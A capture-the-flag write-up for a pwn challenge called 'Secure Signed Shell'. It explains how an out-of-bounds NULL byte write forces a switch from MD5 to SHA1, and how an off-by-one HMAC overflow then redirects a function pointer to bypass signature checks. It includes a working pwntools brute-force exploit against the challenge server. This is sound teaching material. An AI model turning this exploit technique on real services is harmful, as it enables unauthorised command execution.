• Category: pwn
• Points: 200

## Write-up

You can do two things:

1. Sign a command
2. Execute a signed command
Welcome to Secure Signed Shell
1) sign command
2) execute command
>_ 1
what command do you want to sign?
>_ ls
signature:
0fcc9e22ff4cec3f5afbaf5906dba086


So we can see that the challenge signs with md5 by default!

## out-of-bounds NULL byte write – force switch to sha1

They use a HMAC based on md5 or sha1 depending on a global flag (set based on argc). We call this use_md5. This is a byte sized varialbe that is placed right behind the global buffer, which has size 0x100. We can overwrite the use_md5 flag with a zero byte with the calls:

i = read(global, 0x100, 0); // send exactly 255 bytes
global[i] = 0;              // out of bounds write to the use_md5 flag


This snippet of code is repeated in both the sign_it and execute_it functions.

## overwrite least significant byte of a function pointer

There is a off-by-one error, which allows us to overwrite the last byte of the first function pointer. We are targeting the deny_ptr in this struct:

struct exec_guy {
char hash[20];
void (*deny_ptr)(char*);
void (*success_ptr)(char*);
}


At the start of the execute_it function, exec_guy will be set to either m_exec_guy or s_exec_guy depending on whether md5 or sha1 is used. If the use_md5 flag is true, the exec_guy is set to s_exec_guy + 1 == m_exec_guy. If we switch to using SHA1 afterwards, the HMAC is copied to exec_guy, which is actually s_exec_guy + 1. So there is one byte too less available for a full SHA1 HMAC and it will overflow into the first byte of the deny_ptr field.

Since we’re on little endian, this means we can control the least significant byte of the function pointer. If we change the deny_ptr to the success_ptr we effectively bypass the signature check.

[0x004010a0]> afl~command
0x00400d36    1 0    -> 37   sym.deny_command
0x00400d5b    1 0    -> 27   sym.exec_command


So we have to find a HMAC, whose last byte is 0x5b. So first we checked whether one of the HMACs we could legitimately obtain would fit our purposes. We can do this by switching to SHA1 with an overlong command in the sign_it function and then obtain the HMACs:

[*] 'ls' -> '4b0eef0a2c6a48fd0f52460231fe61bbfa8f314c' --> 0x400d4c     <-- printf something
[*] 'pwd' -> 'bf34cf2a14f5bbde6c75da9c6ba421fd57772d68' --> 0x400d68    <-- this jumps inside the right function at least, but seems to break
[*] 'id' -> 'e1b428253b9c847348c522e27d00a151f7db9458' --> 0x400d58     <-- nop; leave;ret
[*] 'whoami' -> 'ce6bd6b5229cf202a96ece2b36763e1adec566d1' --> 0x400dd1 <-- somewhere inside init_key


So none of those did work out in the end. The pwd HMAC looked pretty promising as it triggers a jump into the exec_command function. But then crap is loaded into the registers and it fails.

To use one of these commands we need to still send an overlong line, with contents that are not hashed. The HMAC covers only the data up to the first NULL byte, so we can send for example:

"ls\n" + "\x00" * 253


This allows us to trigger the buffer overflow into the function pointer, with one of the known HMACs.

## exploit recap

1. Call execute_it
2. First exec_guy is set to m_exec_guy, because use_md5 is true.
3. Use off-by-one error to overwrite the use_md5 flag with 0, so that SHA1 will be used. exec_guy is still set to m_exec_guy.
4. memcpy call at 0x00401261 will then overwrite the least significant byte of the first function pointer.
• The src of memcpy is the computed SHA1 HMAC
• We need to find a HMAC which ends in 0x5b
5. The function pointers are always loaded relative to the m_exec_guy so we can use them safely even if we switched to SHA1
6. shell? shell! (or just cat flag)

In the end we just opted to bruteforce, until we hit a byte that worked. We tried with a bunch of commands:

cat flag; echo <random stuff>


Eventually we got a working byte and the flag.

from pwn import *  # noqa
import string
import random

velf = ELF("./sss")
# this is the byte we'd need...
last_byte = velf.symbols['exec_command'] & 0xff
log.info("last byte of exec_command 0x{:x}".format(last_byte))

def make_vp():
#return process("./sss_dealarmed", env=env)
return remote("54.202.7.144", 9875)

# less verbosity for pwntools
context.log_level = "error"
while True:
cmd = "cat flag; echo " + "".join(random.sample(string.letters, 5))
vp = make_vp()
# gdb.attach(vp, gdbscript)

try:
# now overflow into the use_md5 flag
# which triggers a buffer overflow into the fptr
vp.recvuntil(">_")
vp.sendline("2")
vp.recvuntil(">_")
c = "{}\n\x00".format(cmd)
c += "\x00" * (256 - len(c))
vp.send(c)
vp.recvuntil(">_")
vp.sendline("wurscht")
line = vp.recvrepeat(timeout=0.5)
log.info("got line: " + repr(line))

except:
pass

vp.close()